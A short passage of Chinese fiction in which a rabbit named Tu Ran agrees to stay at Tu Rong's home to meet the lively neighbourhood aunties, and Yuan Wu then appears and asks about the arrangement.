“很有意思,我去你那住吧,我也很想和那些婶子们交流,应该会很有趣吧。”涂苒微微扬起兔唇,露出和善的微笑。 他倒是要见识见识,那些动不动就要跟人扯头花的婶子们,到底要疯到什么程度! 涂茸瞬间瞪大眼睛,略有些拔高音量:“真的吗?你真的愿意跟我去家里住吗?我要亲自给你收拾卧房哦!” “老远就听到你喊了,谁要去家里住?”袁武突然出现,视线落在被他抱着的兔子身上,“它吗?”